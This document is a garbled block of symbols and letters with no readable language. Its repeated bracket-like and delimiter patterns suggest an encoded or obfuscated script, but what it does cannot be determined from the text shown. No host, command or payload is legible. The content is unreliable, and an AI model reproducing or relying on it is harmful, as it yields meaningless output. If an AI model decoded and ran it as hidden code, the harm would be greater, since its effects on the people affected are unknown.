WEt^^VZ!OLJ
	
^^^^^^^^Z!OOLLW^t^^^t^^^^^^^^VVMHFKVMKMWV
W^^^^^^S^^^^ZOLMHW^^@^VKK LHWW^^^t^^^Et^^^t^t^^Z!OOLL^^^^C^^J	VMJIWVV
W^^Z!OOLLWEt^^^^VZ!OOLL^^CCC^^^^\\W^^ttt^^
Et^^^^t^^
^^^^t^Z!OM^^^^^C^^^KL!M!OVZ!OOLLR^^^^ZNG
HFR^^^Z
NGGINOR^VONSKWR^^
^VZ	I!W^^^tZL
GHL^^^C^>J	VMKJWVZ	I!R^
WEttt^^
^^^^^J	VMMMWVZL
GHLW^^^^XX^^^^^
VZL
GHL%MHFKVMKKW#WEt^^WEt^^^^^^^^VZ!OM^^^^CCC^W^^^^t^^
Et^^^^^^tZ	OJ^^C^>J	VMKHWVZ!OMR^^^
WEt^^^^^V_^^KO	VMMMWVZ	OJW^^^^^^^_^^^
VZ	OJ%J	VMKKW#W^^^_^GHNVMKIWVZ	OJ%J	VMKKW#WW^^t^
Et^t^t^Z
LKO^^^^C^^^Z	OJ%MHFKVMKKW#Et^^^^^^^^^^VGHNVMKFWVZ
LKOR^^^J	VMKGWW^CCC^NW^^^^t^^^^^^^^Z
LKO^^^^^C^^^^M!VMHNWVZ
LKOR^LWEt^^^t^^t^^^ZMNKIN
	^^C^^^>M!VMHOWVZ
LKOWEt^^^^^^^^^VZMNKIN
	^^^^CCC^^^^^^^^KO	VLKHWVZMNKIN
	W^^^B^^VML GHWW^^t^^^
Ettttt^^t^^ZINGNJ
H^C^^^VJO LLWEt^Z!H^C^^J	VMHLWVZMNKIN
	%ZINGNJ
H#WEt^^^^^Z
H^^^^C^KO	VMHMWVZMNKIN
	R^^^ZINGNJ
H^^^U^^^OR^Z!HWEt^^^V_^^^^M!VMKIWVZ
HW^^^^^^^J	VLKHWVZ
HW^B^^VLUOWW^^^t^^^^
Et^^^^t^^^^^t^^^^^ZN!JL	N^^^^^^C^^^^KO	VMHLWVZ
H%N#WEt^^VZN!JL	N^^^^B^^^^^O^^^^GHNVMHJWVZ
HW^^^^^B^O^^^^^U^ZN!JL	N^U^OW^^^t^
Et^^^t^^t^^^^Z
GNH^C^^^^^M!VMHMWVZ
HR^^OR^ZN!JL	NWEtZGM	H^^^^^^C^M!VMHMWVZ
HR^O^^U^^ZN!JL	NWEt^^^^^^^^^V_^^^^J	VMKIWVZ
GNHW^^^^^^^^^_^^^^^GHNVMKIWVZGM	HWW^^^^t^^^
Et^^^t^^^^^^^t^^^^^ZLON^^^^^C^^^OIJJVZGM	HR^Z
GNHWEt^^^^^^^^^^V_^M!VMKIWVZLONW^^^M!VMHJWVZLONW^^^B^^LW^tttt!LNLVMHFKVMHKWR^^^^^MHFKVMHHWWEt^^^^^^^
Ett^^tt^ZOHH^^C^^^MHFKVMHIWVZLON%N#WEt^^^VZOHH^^B^^O^^^^^^MHFKVMHJWVZLONW^^B^^^O^^^^^U^^^^^ZOHHW^^t^!LNLVGHNVMHKWR^M!VMHFWWEttt
Ett^^^^t^^Z

F!^^^C^^^J	VMHMWVZLONR^^^^OR^^ZOHHWEtZGG!IMI^^C^^^M!VMHMWVZLONR^^^^O^^^U^^^^ZOHHWEtttt^ZN	OLG^^C^^M!VOGKWVGHNVMHGWVM!VMINWVJ	VMIOWR^^^^^J	VMILWVGHNVMIMWR^ZGG!IMIWWWWEZG!MOCVNHUNWEZHI	CZG!MO[MEt^^^^^VJ	VMJJWVJ	VLJLWWW^t^
!
VGHNVMJKWR^^Z!OOLLWEt^^
!
VGHNVMIJWR^^^^^GHNVMIKWV\"\R^^^^^^ZN	OLGWWEt^^^t^^
^^VM!VMIHW^^C@^Z

F!R^M!VMIIW^C@^ZN	OLGWEt^^
^^V*	^ZMN!W^^^t^^^!LNLVM!VMHKWR^^ZMN!WEtttt
Etttt^^^^^^^^^
^^V;
^^^^ZMN!W^^t^^^^^
Et^^t^^t^^^ZGKNNHN!I^^C^^MHFKVMIFWVGHNVMIGWW^A^^V
W^^^^^
!
VKO	VMFNWR^\\W^^^^^^D^\\Ett^^^^^ZMGIH
^C^^GMGHNGVJ	VMFOWR^\\WEt^^^^^^^^VZGKNNHN!I^_CC^^^\\^^^^^XX^^^^GHNVMKIWVZMGIH
W^^^^^XX^ZMGIH
^^^_CC^^\\W^^t^^^^ZN	OLG^^C^^^^^GHNVMFLWVJ	VMHGWVKO	VMINWVMHFKVMIOWR^^M!VMILWVM!VMIMWR^^ZGKNNHN!IWWWWEt^^V_^^
VZN	OLGWW^t^^^^
^^VM!VMIHW^^C@^ZMGIH
R^^^^^^MHFKVMFMW^^^C@^ZN	OLGWEtQQ^).^*^=D^
^
tt^^^^^^t^^t!LNLVM!VMFJWR^^MHFKVMFKWWEt^^^^^^^
^^VWEt^t^
^N	INGLVZJOMR^^^ZLG
HR^ZH!HWt^^tQT^	
S^^TQttt^^^^^^^^V_^GHNVMFHWVGHNVLJLWWW^^^t^^^^
^^^Et^^^t^^^ZNMF	^^^C^KO	VMFIWVZLG
HWEtttt^^Z
JN	F!^^^C^M!VMFFWVKO	VMFGWVOR^^^VOGJUHOWWWEt^ZJ!OLMGJ	G^^^^C^\\Et^^^^^^VZOLHKG^^C^^NR^^Z!F
IJKJI^^^^C^^GHNVMHJWVZNMF	WE^^^^ZOLHKG^^B^Z!F
IJKJIE^^^ZOLHKGUUW^^^^^tZJ!OLMGJ	G^PC^MHFKVMFFWVJ	VMHIWVZNMF	%ZOLHKG#W^^ ^^GHNVMHIWVZ
JN	F!WWEt^^t^^^^
^
!
VZJOMR^^J	VMGNWVZ
JN	F!^P^^ZJ!OLMGJ	GWR^ZH!HW^_CC^^Et^ttt^^
^^NLIHGJ	VZJOMR^ZO
IHWt^^^t^^^^V_KO	VMFHWVKO	VMIGWWW^
^^ZO
IHEt^ZJONO^^^C^^^^
!
VZJOMR^\\WEtt^^^VZJONO^^CCC^^^^\\^^^^^^^_^^KO	VMGOWVZJONOWW^^^t
^ZO
IHEt^^t^^^^^ZF	HJN^C^^>MHFKVMGLWVZJONOR^^^^^^
WEt^^^^^VZF	HJN^^^CCC^^^J	VMGMWVZF	HJNW^^B^^^^^^LW^^^tttt^
^^^^ZO
IHEt^^t^^^Z
JN	F!^^^C^^^ZF	HJN%N#EZINOHCOHFKEZLFJ!MCZINOH HIEt^^ZILN	^^C^^^\\Et^^^^VZOLHKG^C^OR^Z!F
IJKJI^^^^C^^J	VMGJWVZF	HJNWE^^^^^^ZOLHKG^B^^^^Z!F
IJKJIE^^^^^ZOLHKGUUW^^^^^t^^^ZILN	^PC^^M!VMFFWVM!VMGKWVZF	HJN%ZOLHKG#W^ ^J	VMGHWVZ
JN	F!WWEt^^^^^t^^^^ZK	!N^C^^
H!K!I!VZILN	WEt
^^^ZK	!N^^^^_CC^^^^A^ZK	!N^D^^ZO
IHEt^^^t^
^^^
H!K!I!VZ
HWttt^t^^^^V_M!VMGOWVZ
HWW^^^
^^^Ett^^^^VVJ	VMGIWW^^XX^^.6.!(;,-710!7:^^^^^^@C^^VHGGLHUIJWW^^^^t^
^^^^^>KO	VMGFWVZ
HR^^^VKO	VMGGW^^^^^C@^WWEt^^^ttt^^^^^^
^>J	VMGFWVZ
HWEt^^tt^
^^^NFHJHVWttQQ^

S
^
Stt^

^^^^^ZMHH!	^^C^^^^^Et^^VZMHH!	^^^_CC^^W^^
^^^^ZMHH!	Et^^^ZHKHJHF^^^^C^VMHFKVOOHWW^A^^?<-.?*6^^^^D^\\Et^^ZMHH!	^C^^^^KO	VJNNWVGHNVJNOWVY""YR^^YQYR^^^ZHKHJHFWR^^YQYW^^^^P^^^^YQYEt
^^ZMHH!	Et^^^^^^tt
^N	JLFJFF
MVZJOMWtttt^t^
^^^K!NGJ	VNFHJHVW^^P^^V
W^^OFGH!JKG
VW^P^^ZJOMR^^VHBBOWWEt^^tttt^^
^G
!FK!VZK	KFWt^^tt^^^^^^^
^^V
W^^^^^^VVGNGGGGGGUOW^^^^U^^VV
W^^VJ	VJNLWVMHFKVOFKWVNFHJHVW^P^^^GHNVJNMW^P^^^^^ZK	KFWR^NR^VNHUNOWWW^^^^[^^VFGGGGMHUHMWWWEt^^^t^^
^GMGNNFVWt^^^^^t
^G
!FK!VKO	VJNJWWEtt^^^
^^!
FFVWt^t^^^^^Z!	
F
N!^C^^^^V
W^GMGHNGVKO	VJNKWR^\\WEt^
^^GHNVMGJWVZ!	
F
N!W^^^@^^VKBBOW^^XX^MHFKVJNHWVZ!	
F
N!R^GMGNNFVWW^_CC^^^^XX^^^^^^GHNVMGJWVV
W^^GMGHNGVKO	VJNIWR^^\\WW^^@^^VOFF LOHWEtt^^tt^
^^^GMGHNGVZJOMR^ZO
IHWt^t
^^^^NLIHGJ	VN	JLFJFF
MVZJOMWR^^ZO
IHWEt^^t
^^MKJLVZJOMR^ZO
IH^^C^^^\\Wtttt^^^ttZ!L^^C^^GMGHNGVZJOMR^^^^^ZO
IHWEt^^^^VJ	VMGOWVZ!LWW^^^^
^^^^Z!LEtt^^^^^^^VKO	VJNFWVZ!LWW^^^
^^V
W^^^Z!LEt^^^^
^^^ZO
IHEt^t^^^
^^FOGJMVZJOMR^^^ZLG
HR^ZH!HWt^t^^^N	INGLVN	JLFJFF
MVZJOMWR^ZLG
HR^^ZH!HWEt^t^^^
^^
F!INVWt^^tQQ^).^.
^=

^^


tt^^^^ZLOL^^^^C^^
VZ921<?2-%M!VJNGW#W^^A^Z921<?2-%KO	VJNGW#^D^^^^VWEttt^^^^^ZJONO^C^^^GMGHNGVMHFKVJONWR^^VWWEt^VKO	VJOOWVZJONOWW^^^^^^t^^^^^^ZLOL^^C^^^MHFKVJOLWVZJONOR^^ZLOLWEttZLOL^^^C^^MHFKVJOMWVZLOLWEtttt^^
^^^^^^MHFKVOJNWVZLOLR^SVOLUMFWWEt^^t^
^^NNMMLN
KVWt^^^^^^^t^^^V_
VZ921<?2-%KO	VJNGW#W^^^^^
VZ921<?2-%M!VJNGW#WW^
Etttt^
^^^^^^t^^ZJONO^^C^^^^GMGHNGVJ	VJONWR^^VWWEtZNG	IFI^C^^J	VJOMWVJ	VJOJWVVWZJONOR^^^^Z921<?2-%KO	VJNGW#WWEtZNG	IFI^C^^KO	VOJNWVZNG	IFIR^SVNUNLFWWEt^FOGJMVJ	VJONWR^^^^ZNG	IFIR^^^KO	VJOKWWEt^^^^^^^^
^V*	^^^^^ZMN!W^tQQ^^S
^
Stttt^^^^^^^^!LNLVGHNVJOHWR^^^ZMN!WEt^^^^
^^V;
^^^ZMN!W^^^t^^^^^^t^t^^^ttt^^^
^OIJJVZ
HR^^ZWttt^^^t^^^^^V_^^^J	VMGOWVZ
HW^^^^_^KO	VMGOWVZW^^^^^J	VJOIWVZW^^CCC^^NW^t^^^^
^Et^^^t^ZKNNON^^^^C^M!VJOFWVZ
HWEt^^^^^^^ZN	O^C^^KO	VJOFWVZWEt^Z
M	F^^C^\\Ettt^^^^^^^^VZOLHKG^C^NE^^ZOLHKG^^B^^ZKNNONE^^ZOLHKGUUW^^^t^Z
M	F^^PC^^^GHNVMFFWVJ	VMGHWVZ
H%ZOLHKG#W^^^ ^^GHNVMGHWVZ%ZOLHKG^^[^^^^ZN	O#WWEt^tt^^t^^^^^
^Z
M	FEt^^^^t^^^t^^^^^^^
^!HVZ
!K
FWtt^^^^tttt^^^V_^KO	VJOOWVZ
!K
FWW^^^tQQ^.6.^
^D^^tt^^Z
!K
F^^^C^^^^VWEtt^^^^ZFF^^^^C^^^^^LM	LJLK!JVWEt^ZI	NKO^^C^MHFKVMFHWVMHFKVMIGWW^A^NLIHGJ	VGHNVJOGWR^^W^^D^Etttt^^VKO	VJLNWVZI	NKOW^^XX^^
VZI	NKO%GHNVJLOW#W^^^^^XX^^^V
W^ZI	NKO%MHFKVJLOW#^^@C^^^^^VLLHUIJW^XX^V
W^^ZI	NKO%M!VJLOW#^BC^VNOLHJUNLJOWW^^^^^ZFF^^C^V
W^^^ZI	NKO%M!VJLLW#Et^VZFF^^^^B^VIO OLMWW^t^ZFF^^C^^^^^VMKJFUKLWEttt^^^^^Z
!K
F%J	VJLMW#^C^^Vt^^M!VJLJW^C@^^ZFFRtt^J	VJLKW^^C@^^^GHNVJLHWRtt^^^WEt^^^^^tt^^Z
!K
F%MHFKVJLIW#^^^^^C^^Vt^^^^^^^^KO	VJLJW^C@^VKJFUKLWRt^^MHFKVJLKW^^^C@^^^^^^GHNVJLFWRtttt^WEtttt
^^^Z
!K
FEt^^t^^t^^^^
^^^^JNIIVWttt^t^^^V_GHNVMFHWVKO	VJLGWW^^^^^^_MHFKVMFHWVKO	VJMNWWW^^^^
Ett^^^V_
LJM!!VJ	VJMOWWW^^^^
Et
^t^^^^V_	!
!VI
HM	GLVWWW^^t^	!!
VGHNVLNJWVW^U^^^^^^M!VMFGWVVNFUNMJWR^^^^VJHNSOHNWWR^^J	VJMLWR^^^^I
HM	GLVWWEt^^^^^^t^^^^^^^^^^^^^^t^M
G	FFLIVGHNVJMOWWEt^t^^^^^^^^t^^^^^t^^^^^^^^
^^OHMVWtt^^^t^^^^^^t^^^VVJ	VJMMWW^^XX^^^^:1709!=,10W^^t^
Etttt^^t^^^^^

^^^ZI^C^^Et^^^^^^^^^^VZIW^
EtZI^^^C^^
Et^t^^^^^^^^V_^^KGKH	MVWW^t
Et^^^ttHNFHJNJLVMHFKVJMJWR^^^^^^M!VJMKWR^NWEt^^t^^^^^^^^
^	GGGGOVWtt^^^^^t^^V_M!VMFHWVM!VMOOWW^^^^_GHNVMFHWVGHNVJMHWWW^^
Et^>KO	VMOOWV
!VKO	VJMIW^^P^^^^KO	VJMFWVYPYR^\\R^V
W^^KO	VJMGWV
WW^P^GHNVMFGWVVOKN LJLWR^^VGHIUMLWWWR^^VKO	VJJNW^C@^^NPNOR^^J	VJJOW^C@^^R^^^^MHFKVJJLW^^^^C@^^^WWEt^^t
^^!FMLMLMFHVWt^^^^^^^^tt^^^^

^ZGNM^C^EtQT^S^

^TQtttt^^^^^^^^VZGNMW^^^^
EtZGNM^^C^^
Et^
^^^tZOM!!	HM^^C^^Ett^^^^^VGHNVMFHWVM!VJJMWWW^^^^t^^GHNVJJMWVWEt^^^ZOM!!	HM^^C^^
Et^^^^VM!VMFHWVKO	VJJJWWW^t^MHFKVJJKWVWEt^ZOM!!	HM^^^C^^
Et^^^^^^^t^^^^VMHFKVMFHWVKO	VJJHWWW^t^^>M!VJJIWV
WEttttt^^^^^ZO
GH^^^C^^^J	VJJFWVJ	VGIWW^^^XX^^>MHFKVJJGWVMHFKVJKNWWEt^^^V_!
VW^^XX^^_ZO
GH^^^^XX^^M!VJKOWVW^CCC^^O^^^XX^^J	VJJFWVJ	VJKLWWW^t^^^^^Z!^^^C^>!
!
VWEt^^^^^^^^VZ!^^^^_CC^^^^^XX^^^Z!^^^^@^NW^^t>VMHFKVJKMW^P^^Z!WEt^>VJ	VJKJWWEt^^^tttt^^^VM!VJKKWVWW^^t^^>M!VJKHWVWEt^t^^^^>J	VJKIWVWEtt^t^^^^^^^^ZHGKGM^C^^^KO	VJJFWVKO	VJKFWW^^^^XX^^^_VVMHFKVJKGWW^XX^^:7-?<2;!).!=,10WEt^^ttZLMH
^^C^_GHNVJJFWVMHFKVMIGWW^^^^^V
W^^^^^^
!
VGHNVJHNWR^^NW^^CCC^^^NEt^^^^^^V_ZLMH
^XX^^^^J	VJJFWVKO	VMIGWW^^^^XX^J	VJJFWVKO	VLJLWWW^^^^tttt^^Z!FJLH^^C^^^V
W^^^^
!
VJ	VJHOWR^^^\\WEttt^^^VZ!FJLH^^^_CC^^^^MFKKIO
VWW^^^^t^^^^^>
!
VGHNVJHOWR^MFKKIO
VWR^^J	VJHLWWEt^^tt^>
!
VMHFKVJHMWR^^^NR^^^^^^KO	VJHLWWEtZLMH
^^C^^^^
Et^^^t^^^^^t^^^^^^^ZGF^^C^Et^VZHGKGM^^^XX^^^^GHNVJHJWVGHNVJLGWWW^^^^^^tt^^^ZJFF
^^^^C^^	!
!VI
HM	GLVWWEt^^^VZJFF
^^XX^^VJ	VLNJWVW^^S^V
W^^^^^^ZJFF
W^^^@^^^VNOJGLUNIFWW^^^^^t^^^ZGF^^C^^
Et^^^^^VKO	VJHJWVMHFKVJHKWWW^^^>	!!
VV
W^^ZJFF
R^I
HM	GLVWWEt^t^^^^^^tQQ^

^	
S^	
tt^^^^^VZHGKGM^^^^XX^^_ZLMH
^XX^^_ZGFW^ttt^^ZJFI^^C^M!VJHHWVKO	VJLGWW^A^V
W^^	!
!VI
HM	GLVWW^^^^D^^NEt^^^^^^^^VZJFI^^BC^^^N^^^^^ZJFI^^^^^^S^^M!VLNJWVW^^^^^@^^^^^^VFOFUFLWW^^^t^>	!!!
VM!VLNJWVWR^^^I
HM	GLVWWEt^t^^^^^^^^
KKILVWEtt^^^^^^^^
Et^ttt^^^^^VZGFW^!LNLVKO	VJHIWR^^J	VJHFWWEt^V_ZOM!!	HMW^^^^^t^^VZHGKGMW^>	!!!
VGHNVJHGWVWR^^^I
HM	GLVWWEt	GGGGOVWEt^^
KKILVWEtt
EttQQ^>^
tt^^^^VJ	VJINWVM!VJIOWWW^>GHNVJILWVVKIUOLMWWEt^FJ	FMVWEt^^
^^^^V*	^^^ZMN!W^^^tt!LNLVGHNVJIMWR^^ZMN!WEt^^^^^^^^^
^^^V;
^^^^ZMN!W^^^^t^^^^^t^^^^t^tt^
^^^^
I	VWt^^^^^tt^^
^^^^tQQ^
S

^
^
tt^^^V_^^^^J	VJINWVKO	VMIGWWW^^ttt^^
Ettt^^^^^^t^^Z	IGM^^C^^KO	VJINWVKO	VJIJWW^^^A^
!

VNLGM
MIJ
KVWW^D^EZCVNLUNINWEZLI	CZ[OIEttt^^^^^^V_^^^MHFKVJIKWVZ	IGMWW^^Z	IGM^^^^C^^NLIHGJ	VGHNVJOGWR^WEt^^^^V_^^MHFKVJIHWVZ	IGMWW^t^^
Ettt^^^^^tt^^^^^^^V
VZ	IGM%MHFKVJIIW#W^XX^^^^^^GHNVJIHWVZ	IGM%KO	VJIIW#WW^^^ttt^^^^Z921<?2-%M!VJIFW#^^^C^^JGJ
VZ	IGM%M!VJIIW#WEtt^^tttt^^^^^^V
VZ	IGM%MHFKVJIGW#W^^^^^XX^MHFKVJIHWVZ	IGM%KO	VJIGW#WW^^^t^Z921<?2-%GHNVJFNW#^C^JGJ
VZ	IGM%MHFKVJIGW#WEttt^^^^^^^^tQQ^).^*
^.
^^ttttt^^^t^^V
VZ	IGM%KO	VJFOW#W^XX^^M!VMGOWVZ	IGM%MHFKVJFOW#WW^^^^t^Z921<?2-%KO	VJFLW#^^^C^^Z	IGM%KO	VJFMW#EZGJ
CHITMEZ	FO		KHJHCZGJ
SMGEt^^t^^^^^^^^^V
VZ	IGM%GHNVJFJW#W^XX^J	VJFKWVZ	IGM%GHNVJFJW#W^^XX^GHNVJOFWVZ	IGM%GHNVJFJW#W^^@^VNOUNOMWW^^^^^t^Z921<?2-%GHNVJFHW#^C^Z	IGM%J	VJFJW#Ettt^^^t^^^^^V
VZ	IGM%GHNVJFIW#W^^^XX^^^MHFKVJFKWVZ	IGM%M!VJFFW#W^^XX^MHFKVJOFWVZ	IGM%J	VJFGW#W^@^^VOLNSLNWW^t^^^Z921<?2-%J	VJGNW#^^^C^Z	IGM%KO	VJGOW#Ettt^^t^^^^^^
^V*	^^ZMN!W^tQQ^).^9^-
^^


tZJKCLKUFFEZH
!KCZJKSMLEttt^^!LNLVMHFKVJGLWR^ZMN!WEt^^
^^V;
^^^^ZMN!W^^^tt^^^t^t^^^tt^^^
^!H	VWttt^^^t^
^^^^^t^^^V_J	VJGMWVGHNVMIGWW^^^^^_KO	VJGMWVJ	VJGJWWW^^^
Ett^^VV
W^
!
VM!VJGKWR^^^NW^^@^^^J	VJHGWVW^^S^^^^^^VNFGNUNKFNWW^^
Et^^^^^^^^^^VM!VJGMWVMHFKVJGHWW^^^XX^
!

VGHNVJGIWWW^^^
Etttt^Z
	
FJKJ^^^^^^C^^^^^GMGHNGVGHNVJGFWR^^^^^\\WEt^^^^^V_M!VJGGWVZ
	
FJKJW^^^^^^^KO	VJOFWVZ
	
FJKJW^B^VILKSLLKW^^^
F	LFHVZ
	
FJKJW^^^^^_JKOOFVZ
	
FJKJWW^^^^^^tZ
	
FJKJ^^C^^^^Et^^^^Z!^^^C^>M!VLMOWVK		HK!	VWWEt^^^VZ!^^XX^^^Z!^^@^VNOGNUNHJW^^XX^^^^^Z!^BC^^VKLJLFILOUIGWW^^^^^^t^^^^Z
JH^^^C^^^>M!VLMLWVK		HK!	VWWEtt^VKO	VKNNWVZ
JHW^XX^^^^^J	VJOFWVZ
JHW^^@^VONJFKJMUMMWW^Z
JH^C^!ML!JNGNVZ
JHWEtt^^^^VKO	VKNNWVZ
JHW^^^^^XX^_
F	LFHVZ
JHW^^^XX^^^^^JKOOFVZ
JHWW^^t^^^^^^FOGJMVKO	VJGFWR^^^Z
JHR^^MHFKVKNOWWEt^^Z
	
FJKJ^^^C^^^Z
JHEt^^t^^^t^^^V_Z
	
FJKJW^t^^^^^>
!
VKO	VJGKWR^^^MHFKVJHGWVWR^^MHFKVKNOWWEt
Ettt^^tttt^^ZL!^C^^VK		HK!	VWWEt^^^^Z!!JL
JMF^^^C^^JH
GHKVWEt^ZI	^^^^C^^^	MLGG	KH!!!VZ!!JL
JMFWEt^^^^^VM!VJIHWVZI	WW^^tttt^^^^^^VZI	^^^ZLN	MFFLW^^^t^^^^^VM!VJNLWVZLN	MFFLR^^SVLBBOWW^CCC^^^^^GHNVOFJWW^^ZL!%#^C^Z!!JL
JMF^^P^YQY^^^^P^ZLN	MFFLEt^tt^^^^t^^VVGHNVHWW^XX^KO	VKNLWVJ	VMNJWWW^^^t^^^VVW^^^>J	VMNJWV).!.2+970!:7,^P^MHFKVKNMWW^^^^Z	JOW^^^^^^ZL!%#^C^^^Z	JOEt^ttt^ZL!^^^^^^C^^^KO	VKNJWVZL!WEt^^ZMIH^^C^VWEt^^^^^^ZFI!^^^C^^^J	VJNLWVKO	VKNKWVJ	VKNHWR^^^\\R^^^MHFKVJNLWVZ
	
FJKJR^NR^VMMILGUMOFNIWWWR^^^NR^VOGFMUHKWWEt^^VZL!^^^^^^ZHKHJHFW^^^^^^t^^Z
JN^^^^C^^^^^>KO	VKNIWVZHKHJHFWEt^^^V_Z
JN^^^^^^Z
JN^^BC^^VONOILLIUMOMJGWW^^
EttZOGLLFO
^^^C^>M!VLMLWVZHKHJHFR^^^^R^^R^^NR^VFFJJMSLLGNIWWEt^^V_MHFKVKNNWVZOGLLFO
W^^^^_
F	LFHVZOGLLFO
WW^^^^^
Et^^^^^^^VZHKHJHF^_CC^^K		HK!	VW^XX^^KO	VJNLWVKO	VKNKWVJ	VKNHWR^^^^\\R^^ZOGLLFO
WR^^^^^NR^^^VOMOLUIMHWW^^_CC^^^^ZFI!W^^^^^
EtZMIH%#^C^^ZHKHJHFEtt^^^^t^^^^^^^^V_ZMIHW^^tt^^^^VKO	VKNLWVGHNVKNFWWW^^^
!

VJ	VKNGWR^^^^^^OR^VFKMSLKMWWEt^^^^
Et^^t^>
!
VJ	VKONWR^^^KO	VJHGWVWR^^^^GHNVKNOWWEtttt^^^VZMIH^^ZNW^^^tttt^^^^^^^^MIFJHVZNR^VMKGUHOWWEt^^^^^^VGGLJO!MOVZNR^^G			JVZ
	
FJKJWWW^Z!IC.6.!3?41,!(;,-710EZOO!JCZ!ITIEt^^			!OLJKIVZNWEt^^^FKKL!VZNWEtttt^^^^MIFJHVZNR^VLJLUKNWWEtK
VZNWEtttt^^^VZN^^^CCC^^K		HK!	VWW^^^t^FNGNV
WEt^^^GKHOMHV
WEtt^^^^^^^^^^^^^t^MIFJHVZNR^^^VLHIULKWWEttt^t^^^^t^^^^^^^^^
^^^^V*	^^ZMN!W^^t^^!LNLVMHFKVKOOWR^^^ZMN!WEt^^^^^^^^^
^^^^V;
^^^^^^ZMN!W^^^^tt^ttt^^^^^^
^IGHIHVWt^^^t^^^^^

^^^^ZI^^^^^C^^Ett^^^^^VZIW^^^^^
Et^^^^^^^^ZI^C^
Et^^^^
^^^^ttGIIF	MJVWEt^^^^^^!H	VWEtLOGH
NVWEt^^
I	VWEt^^^^JNIIVWEt^^^^^GMJMMO!VWEt^^^^^^	IILI	FVWEt^^GKNIO	MVWEt!
	JLKKGIVWEt^^^^^^VKGKH	MVWW^^t^^VM!VKOLWVGHNVKOMWW^^XX^^^!
VJ	VKOJWWW^^^^t^^^^^VGHNVKOLWVMHFKVOKHWWW^^KO	VKOKWVMHFKVKOHWWEZ
HKCGMULLEZ!!KCZ
HKSLGEttt^^^^^^tHNFHJNJLVM!VKOJWR^^KO	VKOHWR^NWEttt^^^^^t^t^^
^^V*	^^^ZMN!W^^^^^t^^^^
^V;
^ZMN!W^^^ttt^t^
^^^^^
KKILVWt^t^
^^^t^^^^^V_M!VKOLWVMHFKVKOIWW^^^^^^^_KO	VKOFWVM!VKOGWWW^^
Et^V_MHFKVKLNWVMHFKVKLOWW^^^_MHFKVKLLWVKO	VKLMWWW^^
Et^ZOJ^^C^GHNVKLJWVWEt^^^VZOJ^^^S^V
W^>
!
VJ	VKLKWR^NW^B^^VMKKFUJLWW^^^^
Et^^^^^^>
!
VGHNVKLKWR^^^^ZOJR^^^J	VKLHWWEt^^>KO	VKOIWV!VYQYWR^VGHNVKLIW^^^^^C@^^^LR^^^^^MHFKVJJLW^^C@^R^J	VJJOW^^C@^WWEt^
^^V*	^^^ZMN!W^^t^^^^^
^^V;
^^ZMN!W^^^^t^^tttt^^^
^^KGKH	MVWtttt^^^^V_^^^^J	VKLLWVJ	VKLOWWW^^^t^^^^
^^^^
Et^tt^^VJ	VKLLWVMHFKVKLFWW^^XX^^
!

VNLGM
MIJ
KVWWW^^Z
MC.6.!70*!3?&Q.6.!70*!3?&EZ
H	
LCZ
MUJOEt^^
^^^Et^^^t^tttZFKFJO^^C^^LM	LJLK!JVWEt^ZI	NKO^^^^C^^NLIHGJ	VM!VJOGWR^^^^WEt^^^^^^VGHNVJIHWVZI	NKOW^XX^
VZI	NKO%KO	VKLGW#W^^^XX^^^^V
W^ZI	NKO%M!VKMNW#^^^^^@C^^^^VLFHUOJW^^XX^V
W^^^^ZI	NKO%GHNVKMOW#^BC^^^^VFHMOJUFHWW^^^^ZFKFJO^C^^V
W^^^^ZI	NKO%J	VKMLW#EtZHNJ!^^^^^^C^V
W^^
!
VJ	VKMMWR^^NWEt^^^^^^^^VZHNJ!^^@^N^^XX^VM!VKLJWVW^S^^ZHNJ!W^^B^^^^ZFKFJOW^t^^^^^^
^Et^^^t^^^tt^^^^^ZGGO^^^C^V
W^^^
!
VMHFKVKMJWR^^NWEtttt^^^^^VZGGO^^@^NW^^^^t^^^ZHIL^^^^C^V
W^
!
VMHFKVKMKWR^NWEt^ZLLJKGOFNM^^^C^VVJIMSOIMWR^^^^VNMIHUNWR^^VOLJJUKKHWR^^^^VOIMMUOFHIWR^^VNJFUNGFOWWEtZFNL^C^^^^^^ZLLJKGOFNM%MHFKVKMHWVNR^^^GHNVKMIWVZHIL^S^^OR^^^VLBBOWWW#Et^^^^ZFNL^UC^^^^^J	VKMFWVNR^V
W^^^VZFNL^^^T^^NPLKWWEt^^^^^^VVMHFKVKMGWVW^^^^S^^^ZGGOW^^B^^^ZFNLW^^tttt^^^^
^^Ett^^^^^^^t^^^tt
^^
Ettt^^^^^^t^t^^^
^^KF

!NVWt^ZG!MCOJTGEZHHKHKKLCZG!MSJMEt^^ZHIL^^^C^^V
W^^
!
VKO	VKJNWR^^NWEt
!
VKO	VKJNWR^^^ZHIL^U^^^OWEt
!
VGHNVKMJWR^^^MHFKVKJOWVWWEtt
^OGKLIFFIVWttttt^^^^^^^ZGIN^^^C^VWEt
^t^^^^^^ZGIN%MHFKVKJLW#^^C^MFKKIO
VWEtZGIN%KO	VKJMW#^^C^^.6.!(;,-710EtttZGIN%GHNVKJJW#^^^^C^M!VKJKWVWEtZGIN%MHFKVKJHW#^^^C^^^^^^VMHFKVKLLWVM!VKJIWW^^^^XX^^!VWW^^^^^A^^^O^^^^^D^^NEt^^^^^ZGIN%MHFKVKJFW#^C^^VJ	VKLLWVJ	VLLIWW^^XX^^!

VWW^A^O^^^D^^NEtt^^^ZGIN%J	VKJGW#^C^
VZ921<?2-%MHFKVKKNW#W^A^V
W^^Z921<?2-%MHFKVKKNW#^^D^^\\EttZGIN%KO	VKKOW#^^^C^^^
VZ!-;,(;,%KO	VFIW#W^^^A^^^^^^GHNVJNLWVV
W^^^^Z!-;,(;,%MHFKVFIW#R^NR^^^^^VNUNOWW^^^^D^^^\\Et^^^ZO
F!^^C^V
VZ921<?2-%J	VKKLW#W^^XX^^^^J	VKNNWVZ921<?2-%J	VKKLW#WW^^A^J	VKKMWVZ921<?2-%J	VKKLW#W^^D^^^\\Et^ZGIN%GHNVKKJW#^^^^^C^^VZO
F!^^_CC^\\W^A^O^^D^^NEt^ZGIN%J	VKKKW#^^C^^J	VJOFWVZO
F!WEt^^^^ZGIN%M!VKKHW#^^C^^_
VZ921<?2-%GHNVKKIW#W^^^^^A^^^^O^^D^^^NEtZGIN%MHFKVKKFW#^^^^^C^^_
VZ921<?2-%M!VKKGW#W^^A^^^O^^^D^^NEt^ZGIN%MHFKVKHNW#^^^C^^KO	VKLLWVGHNVKLOWW^^A^^V
W^^^^>
!
